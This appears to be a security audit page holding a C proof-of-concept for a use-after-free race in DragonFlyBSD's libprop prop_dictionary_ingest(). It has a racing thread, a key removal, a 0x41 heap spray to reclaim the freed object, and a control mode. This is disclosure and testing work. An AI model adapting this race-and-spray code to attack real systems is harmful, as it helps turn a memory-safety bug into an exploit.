โฌข DragonFlyBSD Kernel Audit
DF-5699 / df5699_ingest_race.c
โ† back to finding โ†“ download raw
/*
 * DF-5699 โ€” prop_dictionary_ingest() hands the driver handler a BORROWED,
 * UNPINNED object reference while the dictionary is completely unlocked.
 *
 *   prop_ingest.c:133   obj = prop_dictionary_get(dict, pite->pite_key);
 *   prop_dictionary.c:933-945
 *                        prop_dictionary_get() takes pd_rwlock, copies out
 *                        pde->pde_objref WITHOUT prop_object_retain(), and
 *                        DROPS the lock before returning.
 *   prop_ingest.c:152   (*pite->pite_handler)(ctx, obj);   <-- arbitrary
 *                        driver code runs for unbounded time holding a
 *                        pointer whose only reference is still owned by
 *                        the dictionary.
 *
 * Any concurrent mutation that drops the key's last reference
 * (prop_dictionary_remove / prop_dictionary_set on the same key, or
 * releasing the dictionary) frees the object underneath the handler:
 * a use-after-free handed directly to kernel driver callback code.
 *
 * In-kernel reachability TODAY: latent โ€” sys/conf/files:2249 compiles
 * prop_ingest.c into every kernel ("standard"), but no in-tree caller
 * exists yet (rg over sys/ finds only conf/files).  The same source ships
 * as the userland libprop, which exports this API to unprivileged
 * programs; this harness exercises the IDENTICAL source compiled from
 * /usr/src/sys/libprop (the established same-source rig).
 *
 * Harness: thread A runs prop_dictionary_ingest with a handler that
 * snapshots the object, sleeps, then reads it again.  Thread B removes
 * the key during the sleep and immediately sprays sentinel-filled (0x41)
 * allocations of the object's size classes to reclaim the freed chunk.
 *
 * Outcome classes:
 *   SIGSEGV            โ€” po_type deref of 0x4141414141414141 (non-canonical)
 *                        in prop_object_type() => UAF realized.
 *   type/value changed โ€” object reclaimed and scrubbed, differential read
 *                        returns garbage => UAF realized.
 *   unchanged          โ€” allocator did not reclaim this attempt; retry.
 *
 * Control mode (DF5699_CONTROL=1 in the environment): thread B sprays but
 * never removes the key.  Nothing may crash or change.  The delta between
 * control and experiment isolates prop_dictionary_remove's reference drop
 * as the cause.
 */
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#include <libprop/proplib.h>

static prop_dictionary_t dict;
static volatile int phase;	/* 0=pre, 1=handler sleeping, 2=read-back */
static prop_object_t borrowed;
static prop_type_t t_before, t_after;
static int64_t v_before, v_after;

static bool
ingest_handler(prop_ingest_context_t ctx, prop_object_t obj)
{
	if (obj == NULL)
		return (true);
	(void)ctx;

	borrowed = obj;
	t_before = prop_object_type(obj);		/* object still alive */
	v_before = prop_number_integer_value(obj);

	phase = 1;
	usleep(400000);				/* free window */

	phase = 2;
	fprintf(stderr, "handler: post-sleep read-back begins\n");
	fflush(stderr);
	t_after = prop_object_type(borrowed);		/* <-- UAF read */
	v_after = prop_number_integer_value(borrowed);
	fprintf(stderr, "handler: post-sleep read-back survived\n");
	return (true);
}

static const prop_ingest_table_entry table[] = {
	PROP_INGEST("victim", PROP_TYPE_NUMBER, ingest_handler),
	PROP_INGEST_END
};

static void *
killer(void *arg)
{
	static const size_t sizes[] = { 40, 48, 56, 64, 72, 80, 88, 96 };
	int control = (arg != NULL);

	while (phase == 0)
		usleep(1000);

	if (!control) {
		/* Drop the dictionary's (only) reference: the prop_number
		 * is not interned (prop_number.c:273 _prop_number_alloc
		 * plain-mallocs), so its refcount hits zero and it is
		 * freed right here, under the sleeping handler. */
		prop_dictionary_remove(dict, "victim");
		fprintf(stderr, "killer: prop_dictionary_remove() done โ€” "
		    "victim freed under the handler\n");
	}

	/* Reclaim the freed chunk with sentinel-filled allocations so any
	 * later read sees 0x4141... (non-canonical po_type => SIGSEGV). */
	for (size_t i = 0; i < 4096; i++)
		for (size_t s = 0; s < sizeof(sizes)/sizeof(sizes[0]); s++) {
			unsigned char *p = malloc(sizes[s]);
			if (p != NULL)
				memset(p, 0x41, sizes[s]);
		}
	fprintf(stderr, "killer: spray done\n");
	return (NULL);
}

int
main(void)
{
	pthread_t th;
	prop_ingest_context_t ctx;
	prop_number_t num;
	int control = (getenv("DF5699_CONTROL") != NULL);
	bool ok;

	dict = prop_dictionary_create();
	num = prop_number_create_integer((int64_t)0x1337beef00ll);
	if (dict == NULL || num == NULL) {
		fprintf(stderr, "setup failed\n");
		return (2);
	}
	prop_dictionary_set(dict, "victim", num);
	prop_object_release(num);	/* dict owns the only refcount now */

	ctx = prop_ingest_context_alloc(NULL);
	if (ctx == NULL)
		return (2);

	pthread_create(&th, NULL, killer, (void *)(intptr_t)control);
	ok = prop_dictionary_ingest(dict, table, ctx);
	pthread_join(th, NULL);

	/* We only get here if the UAF read did not SIGSEGV. */
	printf("control=%d ingest=%s type %d -> %d value 0x%llx -> 0x%llx\n",
	    control, ok ? "true" : "false", t_before, t_after,
	    (unsigned long long)v_before, (unsigned long long)v_after);

	if (control) {
		if (t_before != PROP_TYPE_NUMBER || t_after != t_before ||
		    v_before != (int64_t)0x1337beef00ll || v_after != v_before) {
			printf("RESULT: CONTROL CORRUPTED โ€” invalid run\n");
			return (3);
		}
		printf("RESULT: control stable (expected)\n");
		return (0);
	}
	if (t_before == PROP_TYPE_NUMBER &&
	    (t_after != t_before || v_after != v_before)) {
		printf("RESULT: UAF REALIZED via differential "
		    "(type %d->%d, value changed)\n", t_before, t_after);
		return (42);
	}
	printf("RESULT: not reclaimed this attempt\n");
	return (1);
}